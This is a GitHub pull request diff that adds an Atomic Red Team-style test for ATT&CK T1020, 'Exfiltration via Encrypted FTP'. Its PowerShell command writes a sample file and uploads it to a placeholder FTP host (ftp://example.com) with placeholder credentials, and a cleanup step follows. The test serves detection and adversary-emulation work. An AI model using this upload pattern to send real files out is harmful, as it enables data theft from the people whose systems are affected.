Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update T1020.yaml -Add New Atomic Test for T1020 - Exfiltration via Encrypted FTP #2656

Merged
merged 4 commits into from
Jan 18, 2024
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
30 changes: 30 additions & 0 deletions atomics/T1020/T1020.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -29,3 +29,33 @@ atomic_tests:
$fileName = "#{file}"
Remove-Item -Path $fileName -ErrorAction Ignore
name: powershell

- name: Exfiltration via Encrypted FTP
auto_generated_guid: 5b380e96-b0ef-4072-8a8e-f194cb9eb9ac
description: Simulates encrypted file transfer to an FTP server. For testing purposes, a free FTP testing portal is available at https://sftpcloud.io/tools/free-ftp-server, providing a temporary FTP server for 60 minutes. Use this service responsibly for testing and validation only.
supported_platforms:
- windows
input_arguments:
sampleFile:
description: Path of the sample file to exfiltrate.
type: String
default: C:\temp\T1020__FTP_sample.txt
ftpServer:
description: FTP server URL.
type: Url
default: ftp://example.com
credentials:
description: FTP server credentials.
type: String
default: "[user:password]"
executor:
name: powershell
elevation_required: false
command: |
$sampleData = "Sample data for exfiltration test"
Set-Content -Path "#{sampleFile}" -Value $sampleData
$ftpUrl = "#{ftpServer}"
$creds = Get-Credential -Credential "#{credentials}"
Invoke-WebRequest -Uri $ftpUrl -Method Put -InFile "#{sampleFile}" -Credential $creds
cleanup_command: |
Remove-Item -Path "#{sampleFile}" -ErrorAction Ignore